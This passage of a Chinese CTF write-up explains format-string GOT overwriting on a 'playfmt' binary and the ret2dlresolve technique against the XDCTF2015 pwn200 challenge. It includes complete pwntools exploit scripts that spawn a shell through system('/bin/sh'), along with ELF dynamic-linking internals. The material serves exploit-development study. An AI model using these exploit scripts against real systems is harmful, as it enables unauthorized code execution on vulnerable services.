这时fmt7就指向了printf@got,就可以读取printf的真实地址了,但是我们不着急读,我们能推出system的地址了,然后得把system的地址写到printf@got中,地址一共四个字节,$n能直接写四个字节,但是程序会崩溃,不建议这样,一般选择$hn,两个字节两个字节写,拿fmt7当跳板覆盖地址的话,只能覆盖后两个字节,无法一次性全部覆盖,所以后两个字节也得要一个跳板来指向他,fmt11就派上用场了,把fm11储存的地址改成print$@got+2,联合fmt7和fmt11就可以一次性完成修改了。和修改fmt7的内容一样,fmt11也t通过ebp1和ebp2修改,即通过ebp1修改ebp2指向fmt11,再通过fmt11修改got

ebp2指向fmt11

1
2
3
pay3='%'+str(fmt11&0xffff)+'c%6$hn'
sleep(0.3)
sh.sendline(pay3)

然后把fmt11指向got+2

1
2
3
pay4='%'+str((print_got+2)&0xffff)+'c%10$hn'
sleep(0.4)
sh.sendline(pay4)

然后读printf的真实地址

1
2
3
4
5
6
7
#print_addr
sh.sendline('aaa1%7$s')
sh.recvuntil('a1')
print_addr=u32(sh.recv(4))
#system_addr
system_addr=print_addr-printf_offset+system_offset
log.info('************{:#x}***********'.format(system_addr))

最后修改地址

1
2
3
4
5
system_low=system_addr&0xffff
system_high=system_addr>>16
pay5='%'+str(system_low)+'c%7$hn'+'%'+str(system_high-system_low)+'c%11$hn'
sleep(0.3)
sh.sendline(pay5)

完整payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context.log_level='debug'
sh=process('./playfmt')
elf=ELF('./playfmt')
#gdb.attach(sh,"b *0x0804854F")
libc=elf.libc
print_got=elf.got['printf']
system_offset=libc.symbols['system']
printf_offset=libc.symbols['printf']
sh.recv()
sh.sendline('%6$x')
ebp2=int(sh.recv(),16)
fmt7=ebp2-0xc
ebp1=fmt7-0x4
fmt11=ebp2+0x4
#ebp2---fmt7
pay1='%'+str(fmt7&0xffff)+'c%6$hn'
sleep(0.3)
sh.sendline(pay1)
#标志符
while(1):
sleep(0.3)
sh.sendline('abc\x00')
if sh.recv().find('abc')!=-1:
break
#fmt7---printf@got
pay2='%'+str(print_got&0xffff)+'c%10$hn'
sleep(0.4)
sh.sendline(pay2)
#标志符
while(1):
sleep(0.3)
sh.sendline('abc\x00')
if sh.recv().find('abc')!=-1:
break
#ebp2----fmt11
pay3='%'+str(fmt11&0xffff)+'c%6$hn'
sleep(0.3)
sh.sendline(pay3)
#标志符
while(1):
sleep(0.3)
sh.sendline('abc\x00')
if sh.recv().find('abc')!=-1:
break
#fmt11---got+2
pay4='%'+str((print_got+2)&0xffff)+'c%10$hn'
sleep(0.4)
sh.sendline(pay4)
#标志符
while(1):
sleep(0.3)
sh.sendline('abc\x00')
if sh.recv().find('abc')!=-1:
break
#print_addr
sh.sendline('aaa1%7$s')
sh.recvuntil('a1')
print_addr=u32(sh.recv(4))
#system_addr
system_addr=print_addr-printf_offset+system_offset
log.info('************{:#x}***********'.format(system_addr))
#printgot---system
system_low=system_addr&0xffff
system_high=system_addr>>16
pay5='%'+str(system_low)+'c%7$hn'+'%'+str(system_high-system_low)+'c%11$hn'
sleep(0.3)
sh.sendline(pay5)
#标志符
while(1):
sleep(0.3)
sh.sendline('abc\x00')
if sh.recv().find('abc')!=-1:
break
sleep(0.3)
sh.sendline('/bin/sh\x00')
sh.interactive()

能打通本地,远程差不多,就不搞了。(懒

总结

由于没法直接在字符串包含地址,所以得构造类似地址链的东西,把他抽象出来感觉就像一个链表,每个位置就像一个节点,我们只有最后一个节点(不储存低位的位置)可以直接修改数据,其他节点(储存着后置节点的地址),得通过对应的前置节点才可以修改,如果要修改某个位置的值,可以通过各种办法把他连到这个链表上,就可以通过前置节点修改其值了,payload就相当于以ebp1为头结点构造链表了。

ret2dresolve

动态链接的底层原理利用

先介绍几个段

dynamic段,这个段里保存了动态链接器需要的最基本的信息,里面记录着其他段的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
Dynamic section at offset 0xf28 contains 20 entries:
标记 类型 名称/值
0x00000001 (NEEDED) 共享库:[libc.so.6]
0x0000000c (INIT) 0x8048340
0x0000000d (FINI) 0x804861c
0x6ffffef5 (GNU_HASH) 0x80481ac
0x00000005 (STRTAB) 0x8048268
0x00000006 (SYMTAB) 0x80481d8
0x0000000a (STRSZ) 100 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x8049ff4
0x00000002 (PLTRELSZ) 40 (bytes)
0x00000014 (PLTREL) REL
0x00000017 (JMPREL) 0x8048318
0x00000011 (REL) 0x8048300
0x00000012 (RELSZ) 24 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x6ffffffe (VERNEED) 0x80482e0
0x6fffffff (VERNEEDNUM) 1
0x6ffffff0 (VERSYM) 0x80482cc
0x00000000 (NULL) 0x0

这个段里里记录着很段以及地址,里面我们这次要使用的段是JMPREL,即ret.plt,这个段叫做重定位表,是一个结构体数组,每个元素是一个重定位表项,一个结构体包含的内容如下

1
2
3
4
5
typedef struct {
Elf32_Addr r_offset; //对于可执行文件,此值为虚拟地址
Elf32_Word r_info; //符号表索引
} Elf32_Rel;
r_offset表示的是这个函数的got表的地址,r_info用于这个符号表的索引,至于怎么索引后面再继续说明。

我们可以查看一个程序的ret.plt段里记录的内容

1
2
3
4
5
6
7
8
重定位节 '.rel.plt' 位于偏移量 0x318 含有 5 个条目:
偏移量 信息 类型 符号值 符号名称
0804a000 00000107 R_386_JUMP_SLOT 00000000 setbuf@GLIBC_2.0
0804a004 00000207 R_386_JUMP_SLOT 00000000 read@GLIBC_2.0
0804a008 00000307 R_386_JUMP_SLOT 00000000 __gmon_start__
0804a00c 00000407 R_386_JUMP_SLOT 00000000 __libc_start_main@GLIBC_2.0
0804a010 00000507 R_386_JUMP_SLOT 00000000 write@GLIBC_2.0
可以看见setbuf函数的重定位表项中,r_offset是0x0804a000,r_info是107,代表着setbuf函数的Got表的地址是0x0804a000

image-20211103212842089

验证可知是对的。

然后是.dynsym段,包含了符号重定向表,和ret.plt一样是一个结构体数组,每个函数对应一个结构体,一个结构体包含的内容如下

1
2
3
4
5
6
7
8
9
10
typedef struct
{
Elf32_Word st_name; /* Symbol name (string tbl index) */
Elf32_Addr st_value; /* Symbol value */
Elf32_Word st_size; /* Symbol size */
unsigned char st_info; /* Symbol type and binding */
unsigned char st_other; /* Symbol visibility under glibc>=2.2 */
Elf32_Section st_shndx; /* Section index */
} Elf32_Sym;
里面有两个主要的变量,st_name记录着函数符号在符号表中的偏移,如果符号已经被导出,st_value记录着这个函数符号的虚拟地址。

ret.plt表和dynsym表是一一对应的,通过ret.plt表的r_info索引到dynsym表对应的表项,索引方式是这样的,比如说setbuf的r_info是107把他向右移动八位r_info>>8=1,dynsym是一个数组,setbuf对应的表项就是sym[1]即sym[r_info>>8]

1
2
3
4
5
6
7
8
9
10
11
12
Symbol table '.dynsym' contains 9 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 00000000 0 NOTYPE LOCAL DEFAULT UND
1: 00000000 0 FUNC GLOBAL DEFAULT UND setbuf@GLIBC_2.0 (2)
2: 00000000 0 FUNC GLOBAL DEFAULT UND read@GLIBC_2.0 (2)
3: 00000000 0 NOTYPE WEAK DEFAULT UND __gmon_start__
4: 00000000 0 FUNC GLOBAL DEFAULT UND __libc_start_main@GLIBC_2.0 (2)
5: 00000000 0 FUNC GLOBAL DEFAULT UND write@GLIBC_2.0 (2)
6: 0804a040 4 OBJECT GLOBAL DEFAULT 25 stdout@GLIBC_2.0 (2)
7: 0804863c 4 OBJECT GLOBAL DEFAULT 15 _IO_stdin_used
8: 0804a020 4 OBJECT GLOBAL DEFAULT 25 stdin@GLIBC_2.0 (2)
setbuf对应的下标是1,和上面的计算结果是一样的。

最后是符号表.dynstr,这个记录了函数符号,该段以\x00开始和结束,每个函数符号之间也用\x00隔开,这个表是用偏移量来寻找表项的,

我们可以验证自己上面的过程是不是对的,dynsym的st_name记录着对应偏移量,让程序运行,找到setbuf对应的st_name

1
2
3
4
5
6
7
pwndbg> x/16wx 0x080481d8
0x80481d8: 0x00000000 0x00000000 0x00000000 0x00000000
0x80481e8: 0x0000003b 0x00000000 0x00000000 0x00000012
0x80481f8: 0x0000002f 0x00000000 0x00000000 0x00000012
0x8048208: 0x00000001 0x00000000 0x00000000 0x00000020
一个dynsym的结构体的大小是4+4+4+1+1+2=16=0x10,一组0x10个字节是一个元素,d8是第一个元素对应下标为0,setbuf下标为1对应0x80481e8,可以看见 st_name=3b,dynstr的首地址是0x08048268,setbuf对应的符号表的表项是0x08048268+3b=0x080482a3

1
2
3
pwndbg> x/s 0x080482a3
0x80482a3: "setbuf"
索引成功

延迟绑定全过程

以pwn200的read举例(参考ayoung佬)

源码如下

1
2
3
4
5
6
7
ssize_t sub_8048484()
{
char buf[108]; // [esp+1Ch] [ebp-6Ch] BYREF

setbuf(stdin, buf);
return read(0, buf, 0x100u);
}

在read处下断点,然后gdb运行,指令跳转到plt表对应位置,然后根据plt表的指令跳转到plt表指定位置

image-20211103235918868

image-20211104000137523

显然plt表并未储存read函数的地址,而是先push8,然后有跳转到0x8048370,这个地址指向plt表首地址,继续跟进

image-20211104000346436

plt表的首项储存着两条指令,程序push了0x8049ff8,这是什么值呢,我们看看段表

image-20211104001037134

发现这是got表的第二项,然后第二行是got表的第三项的地址,这两条指令的意思就是把*(got+4)的地址入栈,然后程序跳到*(got+8)的位置

这个位置就是函数_dl_runtime_resolve的位置,也是这次漏洞利用的主角,以下就是他的源码,这个函数的主要作用就是途经ret.plt dynsym dynstr找到这个函数名的字符串,然后和动态库里储存的函数对比,找到相应函数地址,写到这个函数的got表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
_dl_fixup (struct link_map *l, ElfW(Word) reloc_arg)
{
const ElfW(Sym) *const symtab= (const void *) D_PTR (l, l_info[DT_SYMTAB]);
//获取符号表地址

const char *strtab = (const void *) D_PTR (l, l_info[DT_STRTAB]);
//获取字符串表地址

const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);
//获取函数对应的重定位表结构地址

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];
//获取函数对应的符号表结构地址

void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);
//得到函数对应的got地址,即真实函数地址要填回的地址

DL_FIXUP_VALUE_TYPE value;

assert (ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);
//判断重定位表的类型,必须要为7--ELF_MACHINE_JMP_SLOT
/* Look up the target symbol. If the normal lookup rules are not
used don't look in the global scope. */
//需要绕过
if (__builtin_expect (ELFW(ST_VISIBILITY) (sym->st_other), 0) == 0)
{
const struct r_found_version *version = NULL;

if (l->l_info[VERSYMIDX (DT_VERSYM)] != NULL)
{
const ElfW(Half) *vernum = (const void *) D_PTR (l, l_info[VERSYMIDX (DT_VERSYM)]);
ElfW(Half) ndx = vernum[ELFW(R_SYM) (reloc->r_info)] & 0x7fff;
version = &l->l_versions[ndx];
if (version->hash == 0)
version = NULL;
}

...

result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);
// 接着通过strtab+sym->st_name找到符号表字符串

...
value = DL_FIXUP_MAKE_VALUE (result,
sym ? (LOOKUP_VALUE_ADDRESS (result)
+ sym->st_value) : 0);
// value为libc基址加上要解析函数的偏移地址,也即实际地址
}
else
{
/* We already found the symbol. The module (and therefore its load
address) is also known. */
value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
result = l;
}

...

return elf_machine_fixup_plt (l, result, reloc, rel_addr, value);
// 最后把value写入相应的GOT表条目rel_addr中
}

这个函数首先通过const PLTREL *const reloc = (const void *) (D_PTR (l, l_info[DT_JMPREL]) + reloc_offset);找见函数对应的重定位表,

这个reloc_offset就是我们刚压入栈的reloc_arg,通过段首地址和reloc_arg提供的偏移量找到对应的重定位表,然后通过 const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)];函数的符号重定位表的地址

image-20211104002012359

这里r_info的最后四位必须是7,然后再通过 result = _dl_lookup_symbol_x (strtab + sym->st_name, l, &sym, l->l_scope, version, ELF_RTYPE_CLASS_PLT, flags, NULL);找到函数的符号表对应的符号,最后猜测是动态库的函数和这个符号匹配,返回匹配成功的函数的偏移量,然后再加上基地址,得到函数的真实地址,把这个地址填入r_offset中(即对应的got表中)

复现

调用_dl_runtime_resolve函数时先压入两个参数,第一个参数是reloc_arg,就是通过这个参数找到函数的重定位表,我们可以控制这个参数,以达到控制_dl_runtime_resolve函数

第一步,先尝试控制reloc_arg,指向对应的ret.plt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *
context.log_level='debug'
sh=process('./pwn200')
elf=ELF('./pwn200')
bss=elf.bss()
lea_ret=0x08048481
read=elf.plt['read']
stack_size=0x400
bss_base=bss+stack_size
payload1='a'*0x6c+p32(bss_base)+p32(read)+p32(lea_ret)+p32(0)+p32(bss_base)+p32(100)
sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload1)
plt_first=0x8048370
reloc_arg=0x20
binsh="bin/sh\x00"
bin_addr=bss_base+80
payload2='a'*0x4+p32(plt_first)+p32(reloc_arg)+p32(0)+p32(1)+p32(bin_addr)+p32(len(binsh))
payload2=payload2.ljust(80,'s')
payload2=payload2+binsh
sh.sendline(payload2)
sh.interactive()

第二步,控制rreloc_arg,指向我们伪造的ret.plt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context.log_level='debug'
sh=process('./pwn200')
elf=ELF('./pwn200')
bss=elf.bss()
lea_ret=0x08048481
read=elf.plt['read']
stack_size=0x400
bss_base=bss+stack_size
payload1='a'*0x6c+p32(bss_base)+p32(read)+p32(lea_ret)+p32(0)+p32(bss_base)+p32(100)
sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload1)
plt_first=0x8048370
binsh="bin/sh\x00"
bin_addr=bss_base+80

#fuck_ret
ret_plt=0x08048318
fuckret_addr=bss_base+28
reloc_arg=fuckret_addr-ret_plt
fuckret=p32(0x0804a010)+p32(0x507)

payload2='a'*0x4+p32(plt_first)+p32(reloc_arg)+p32(0)+p32(1)+p32(bin_addr)+p32(len(binsh))
payload2=payload2+fuckret
payload2=payload2.ljust(80,'s')
payload2=payload2+binsh
sh.sendline(payload2)
sh.interactive()

第三步 伪造符号重定位表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context.log_level='debug'
sh=process('./pwn200')
elf=ELF('./pwn200')
bss=elf.bss()
lea_ret=0x08048481
read=elf.plt['read']
stack_size=0x800
bss_base=bss+stack_size
payload1='a'*0x6c+p32(bss_base)+p32(read)+p32(lea_ret)+p32(0)+p32(bss_base)+p32(100)
sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload1)
plt_first=0x8048370
binsh="bin/sh\x00"
bin_addr=bss_base+80

#fuck_ret
ret_plt=0x08048318
dynsym=0x080481d8
fuckret_addr=bss_base+28
reloc_arg=fuckret_addr-ret_plt
fuckret=p32(0x0804a010)+p32(0x507)


#fucksym_add
fucksym_addr=bss_base+36
offset=0x10-((fucksym_addr-dynsym)&0xf)
fucksym_addr=fucksym_addr+offset

r_info=(fucksym_addr-dynsym)/0x10
r_info=(r_info << 8) | 0x7

fuckret=p32(0x0804a010)+p32(r_info)
st_name=0x54
fucksym=p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload2='a'*0x4+p32(plt_first)+p32(reloc_arg)+p32(0)+p32(1)+p32(bin_addr)+p32(len(binsh))
payload2=payload2+fuckret
payload2+='a'*offset
payload2+=fucksym
payload2 = payload2.ljust(80,'D')
payload2=payload2+binsh
sh.sendline(payload2)
sh.interactive()

本来stack是0x500,但是死活不回显数据,后来改成0x800才行,也不知道为啥,好怪,查这个地址还不存在

第四步 伪造符号表

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level='debug'
sh=process('./pwn200')
elf=ELF('./pwn200')
bss=elf.bss()
print hex(bss)
lea_ret=0x08048481
read=elf.plt['read']
stack_size=0x800
bss_base=bss+stack_size
payload1='a'*0x6c+p32(bss_base)+p32(read)+p32(lea_ret)+p32(0)+p32(bss_base)+p32(100)
sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload1)
plt_first=0x8048370
binsh="bin/sh\x00"
bin_addr=bss_base+80

#fuck_ret
ret_plt=0x08048318
dynsym=0x080481d8
fuckret_addr=bss_base+28
reloc_arg=fuckret_addr-ret_plt
fuckret=p32(0x0804a010)+p32(0x507)


#fucksym_add
fucksym_addr=bss_base+36
offset=0x10-((fucksym_addr-dynsym)&0xf)
fucksym_addr=fucksym_addr+offset

r_info=(fucksym_addr-dynsym)/0x10
r_info=(r_info << 8) | 0x7

fuckret=p32(0x0804a010)+p32(r_info)
st_name=0x54

#fuckstr
fuckstr_write=fucksym_addr+16
dynstr=0x08048268
st_name=fuckstr_write-dynstr
fucksym=p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload2='a'*0x4+p32(plt_first)+p32(reloc_arg)+p32(0)+p32(1)+p32(bin_addr)+p32(len(binsh))
payload2=payload2+fuckret
payload2+='a'*offset
payload2+=fucksym+'write\x00'
payload2 = payload2.ljust(80,'D')
payload2=payload2+binsh
sh.sendline(payload2)
sh.interactive()

第五步

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from pwn import *
context.log_level='debug'
sh=process('./pwn200')
elf=ELF('./pwn200')
bss=elf.bss()
print hex(bss)
lea_ret=0x08048481
read=elf.plt['read']
stack_size=0x800
bss_base=bss+stack_size
payload1='a'*0x6c+p32(bss_base)+p32(read)+p32(lea_ret)+p32(0)+p32(bss_base)+p32(100)
sh.recvuntil('Welcome to XDCTF2015~!\n')
sh.sendline(payload1)
plt_first=0x8048370
binsh="/bin/sh\x00"
bin_addr=bss_base+80

#fuck_ret
ret_plt=0x08048318
dynsym=0x080481d8
fuckret_addr=bss_base+28
reloc_arg=fuckret_addr-ret_plt
fuckret=p32(0x0804a010)+p32(0x507)


#fucksym_add
fucksym_addr=bss_base+36
offset=0x10-((fucksym_addr-dynsym)&0xf)
fucksym_addr=fucksym_addr+offset

r_info=(fucksym_addr-dynsym)/0x10
r_info=(r_info << 8) | 0x7

fuckret=p32(0x0804a010)+p32(r_info)
st_name=0x54

#fuckstr
fuckstr_write=fucksym_addr+16
dynstr=0x08048268
st_name=fuckstr_write-dynstr
fucksym=p32(st_name) + p32(0) + p32(0) + p32(0x12)
payload2='a'*0x4+p32(plt_first)+p32(reloc_arg)+p32(0)+p32(bin_addr)+"aaaaaaaa"
payload2=payload2+fuckret
payload2+='a'*offset
payload2+=fucksym+'system\x00'
payload2 = payload2.ljust(80,'D')
payload2=payload2+binsh
sh.sendline(payload2)
sh.interactive()

刚开始参数是bin/sh,但是会报错,但改成/bin/sh就好了,后来问了mark佬才明白,system会把参数当成shell命令执行,在根目录寻找bin里有个sh程序能打开一个持续的shell窗口,system配合/bin/sh就能打开持续的Shell窗口,但是如果执行bin/sh,就会在当前目录里寻找bin目录,因为不存在所以报错,我猜之前一直执行的bin/sh是因为程序就在根目录上。